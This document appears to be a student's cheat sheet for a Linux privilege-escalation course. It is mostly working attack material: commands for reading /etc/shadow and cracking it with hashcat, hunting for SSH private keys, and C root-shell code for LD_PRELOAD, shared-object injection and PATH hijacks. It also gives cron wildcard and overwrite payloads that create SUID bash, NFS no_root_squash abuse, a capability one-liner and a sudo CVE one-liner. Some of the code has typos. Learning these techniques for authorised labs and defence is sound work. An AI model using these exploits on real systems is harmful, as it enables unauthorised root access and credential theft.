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## LINUX

Tool Repo: <https://github.com/TCM-Course-Resources/Linux-Privilege-Escalation-Resources>  
 Hacklist PrivEsc Checklist: <https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist>  
 Basic Linux PrivEscalation: <https://blog.g0tmilk.com/2011/08/basic-linux-privilege-escalation/>  
 Linux PrivEsc: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>  
 Sushant747 Guide: [https://sushant747.github.io/total-oscp-guide/content/privilege\\_escalation\\_-\\_linux.html](https://sushant747.github.io/total-oscp-guide/content/privilege_escalation_-_linux.html)

## INITIAL ENUMERATION

## SYSTEM ENUMERATION

Commands:

uname -a	Tells us what kernel we are running on
cat /proc/version	Tells us kernel info as well
cat /etc/issue	Shows the distribution
lscpu	Shows the architecture
ps aux	Shows what services are running
ps aux   grep root	Shows services for the root user
ps aux   grep <user>	Shows services for the root user

## USER ENUMERATION

Commands:

<code>whoami</code>	Shows who we are
<code>id</code>	Shows info about who we are
<code>sudo -l</code>	Shows what we can do as sudo (flag is an L)
<code>cat /etc/passwd</code>	Shows us the users on the system (typically on bottom) (root is on the top)
<code>cat /etc/passwd   cut -d : -f 1</code>	Shows just the users in the passwd file
<code>cat /etc/shadow</code>	Shows the shadow file (Hashes)
<code>cat /etc/group</code>	Shows the group file
<code>history</code>	Shows the command history (do this first)
<code>sudo su -</code>	switches to root
<code>sudo -u &lt;user&gt; /bin/bash</code>	Initiates a shell as a specific user

## NETWORK ENUMERATION

Commands:

ifconfig	Shows Network configuration
ip a	Shows Network configuration
ip route	Shows any routes to other networks
arp -a	Shows which machines we are communicating with
ip neigh	Shows which machines we are communicating with
netstat -ano	shows open ports and what communications are taking place

## PASSWORD HUNTING

Commands:

grep --color=auto -rnw '/' -ie "PASSWORD" --color==always 2> /dev/null	Searches for the word password anywhere in files and outputs in red.
grep --color=auto -rnw '/' -ie "PASSWORD=" --color==always 2> /dev/null	' ' ' '
locate password   more	Searches for file name password
locate pass   more	
locate pwd   more	You can change this to lots of things. Use your brain.
find / -name authorized_keys	Searches for ssh keys
find / -name id_rsa 2> /dev/null	Searches for ssh keys

## EXPLORING AUTOMATED TOOLS

LinPEAS	<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS</a>
LinENUM	<a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a>
Linux Exploit Suggester	<a href="https://github.com/mzet/linux-exploit-suggester">https://github.com/mzet/linux-exploit-suggester</a>
Linux Priv Checker	<a href="https://github.com/sleventyeleven/linuxprivchecker">https://github.com/sleventyeleven/linuxprivchecker</a>

LinPEAS Command: ./linpeas.sh

## KERNAL EXPLOITS

Kernal Exploits	<a href="https://github.com/lucyoa/kernel-exploits">https://github.com/lucyoa/kernel-exploits</a>
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## PASSWORDS AND FILE PERMISSIONS

Stored Passowrds:

```
First check history command "history"
You can also cat out the bash history
ls -la to file .bash_history
cat .bash_history
```

Use automated tools like linpeas AND be sure to check what is in front of you.

Weak File Permissions:

check /etc/passwd	<p>Allows us to identify users on the machine</p> <p>There is usually a placeholder after the username, if there is not we can switch to the user without a password</p> <p>Modify the group from 1000 to 0 and become the root user</p> <p>Changes groups</p> <p>Just check your file permissions</p>
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check /etc/shadow      Read access is bad for them, good for us  
 UNSHADOW  
 Copy /etc/passwd file and save to your password.txt  
 Copy /etc/shadow file and save to your shadow.txt  
 kali > unshadow password.txt shadow.txt  
 Save the unshadow file for any users with a hash  
 Now you can run hashcat  
     First identify hashing type (goodie: identify hashcat hash types)  
     Syntax for command : hashcat -m 1800 credentials.txt rockyou.txt -O (Can use other wordlists)  
     Take found passwords and login

#### Escalation with SSH Keys:

Use payloads all the things website      "SSH Keys"      This will have a couple commands to run to check for keys  
 We are looking for id\_rsa (This is a private key)      We sometimes find back up files  
 cat the file that is found with the SSH Key commands if id\_rsa  
 copy the key to allow us ssh access to a machine.  
 Open a new window in kali and save the key  
 Then we will ssh into the server as root and see if we get access.  
 chmod the id\_rsa file we created  
 ssh -i id\_rsa.txt root@<target>

## SUDO

#### Sudo Shell Escaping:

First command to run in sudo -l (I am an L)  
 Resource: <https://gtfobins.github.io>  
 AFTER using sudo -l we can go to gtfo bins and search for something we find. (e.g. /usr/bin/vim => search vim)  
 We can use this resource to get sudo privileges pretty easily  
 note: if you get a /bin/sh you can change it to /bin/bash and see if that works

#### Escalation via Unintended Functionality:

With sudo -l services like apache  
 google : sudo <service> privilege escalation  
 Example : sudo apache privilege escalation  
  
 note: you can export with wget. If found with sudo -l search sudo wget privilege escalation

#### Escalation with LD\_PRELOAD:

Also known as "preloading"      "Loading before all other libraries"  
 So we create our own library by using nano shell.c

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void_init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

0 = root  
generates shell

Now we compile our code gcc -fPIC -shared -o shell.so shell.c -nostartfiles  
 Now run sudo LD\_PRELOAD=/home/user/shell.so <something we can run as root>      Make sure you use the whole path.  
     Run something from the sudo -l list as root

CVE-2019-14287      > sudo -u#-1 /bin/bash      \*This is common so see if this will work note (-1 is the root uid but we can use this to take over any uid)  
 CVE-2019-18634      > sudo -V for version. This CVE includes all sudo before 1.2.86 is vulnerable to this  
     This vulnerability shows astrix when sudo-ing or su-ing  
     To Exploit: <https://github.com/saleemrashid/sudo-cve-2019-18634>  
     OR you can find it on the TCM tryhackme link already compiled  
     (This is a buffer overflow)

## SUID "Set User ID"

The SUID permission is set if you ls -la and find that where the root "x" would be there is an "s"  
 Here's how we find files with SUID  
 > find / -perm -u=s -type f 2>/dev/null (linpeas will also find these)  
 Once you find one of these, you can go to gtfo bins and see if you can exploit something

#### Shared Object Injection:

> find / -perm -u=s -type f 2>/dev/null  
 If nothing in gtfo bins we can try shared object injection  
 If we find something we can use the tool strace to watch the process taking place  
 Example: > strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"  
 In the output we are looking for "No such file or directory"  
     "What its trying to access and run and what its not finding is what we are looking for"  
 We can overwrite a file that it is trying to access with something malicious that it will execute when we run it

malicious c code:

```
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

Save the file and compile:

example: gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/libcalc.c

Now we just run the found SUID

/usr/local/bin/suid-so

Binary Symlinks: (For when you are www-data)

autodetect: CVE-2016-1247 nginxed-root.sh (found with linux exploit suggerter)

Manual detect:

dpkg -l | grep nginx (looking for version 1.6.2 and older)

find / -type f -perm -04000 -ls 2>/dev/null (suid bit has to be set on sudo for this to work)

ls -ls /var/log/nginx (shows logs)

\* we are going to replace the log files with something malicious using a symlink

symlink is a symbolic link (wikipedia if you don't know)

\* we need to start or restart nginx

nginx Exploit <https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html>

run ./nginxed-root.sh /var/log/nginx/error.log

Next add a file in a new window as root : invoke-rc.d nginx rotate >/dev/null 2>\$1

Environmental Variables: ( Variables that are system wide and inherited by all spawned system processes and child shells)

command: > env

find / -type f -perm -04000 -ls 2>/dev/null

\* if you find a env with suid bit set we can run it

\* Then we run > strings <env> (This will help us see what the env is doing)

example:

The apache service is being started based on the PATH. So we will make a malicious file called service and execute

We change the path (or environmental variable) to do it.

command:

> echo 'int main() {set gid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c

Now we compile service.c gcc /tmp/service.c -o /tmp/service

export PATH=/tmp:\$PATH

\*Once we export we can run print \$PATH again and see that it is first in the PATH.

This means that the service file we just created will be found and execute first if

we run the env again. After it executes we will become root.

## CAPABILITIES

Links: <https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/>

<https://mn3m.info/posts/suid-vs-capabilities/>

<https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099>

Hunting for capabilities:

> getcap -r / 2>/dev/null

example result: /usr/bin/python2.6 = cap\_setuid+ep

"python2.6 has the capability of setuid-ep"

ep - "permit everything"

Exploitation:

Easy, Just run python and execute something that makes us root.

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Things to keep an eye out for when hunting for capabilities:

tar

openssl

perl

\*May have to search google for perl/tar/etc capability escalation

## SCHEDULED TASKS

"cron jobs"

Hunting:

Check the Payloads all the things resource for cron jobs

Cron Jobs: > cat /etc/crontab from Payloads all the things>

For timers: > systemctl list-timers --all

Cron Paths

If we find a cronjob that is executing without a directly declared path we can create a file with the same name in the path somewhere to get root

create this file:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/<file were creating>

chmod +x /home/user/<file were creating>

Now all we have to do is wait for it to execute

Once the file we've created is executed we can run the following:

```
/tmp/bash -p
Now we are root
```

### Cron Wildcards

If the cron script is running something with a wild card we can take advantage  
example:

```
bash-4.1# exit
exit
TCM@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

so we can echo this again:

```
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
touch /home/user--checkpoint==1
touch /home/user--checkpoint-action=exec=sh\runme.sh
*wait for the file to execute
now run: /tmp/bash -p
```

### Cron File Overwrite

If we have read/write permissions, but it's executing as root with a cron job  
we can overwrite the file and it will execute. You can overwrite with a reverse shell, but it's done  
differently in this example because we are escalating locally.

```
> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> <Path and file we are overwriting>
After it executes:
/tmp/bash -p
Now we are root
```

### NFS Root Squashing

Hunting: > cat /etc/exports

```
TCM@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_
# check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
#/tmp *(rw,sync,insecure,no_subtree_check)
```

If we see "no\_root\_squash" that means that the folder "/tmp" is sharable and can be mounted.  
How to:

In a new terminal window on our attack machine run:

```
> showmount -e <targetIP>          This will show us we can mount the tmp folder
> mkdir /tmp/mountme
> mount -o rw,vers=2 <targetIP>:/tmp /tmp/mountme>
    *This will create a folder on our machine and then mount the mountable folder
    to the folder we created.
Now we can write a malicious file:
    echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/mountme/file.c
    Compile: gcc /tmp/mountme/file.c -o /tmp/mountme/file
    chmod +s /tmp/mountme/file
Once this is complete go to the shell in the target machine and cd to the tmp folder
and execute the file. Now we are root.
```

### Escalation with Docker

If a tool like linenum pulls something down that says:

[+] Looks like we're hosting Docker:

If this is the case we can head over to gtfobins

Search : docker

Check out the first listing "shell" which allows use to execute a one liner and spawn a root shell  
\*Change alpine to bash

Very Easy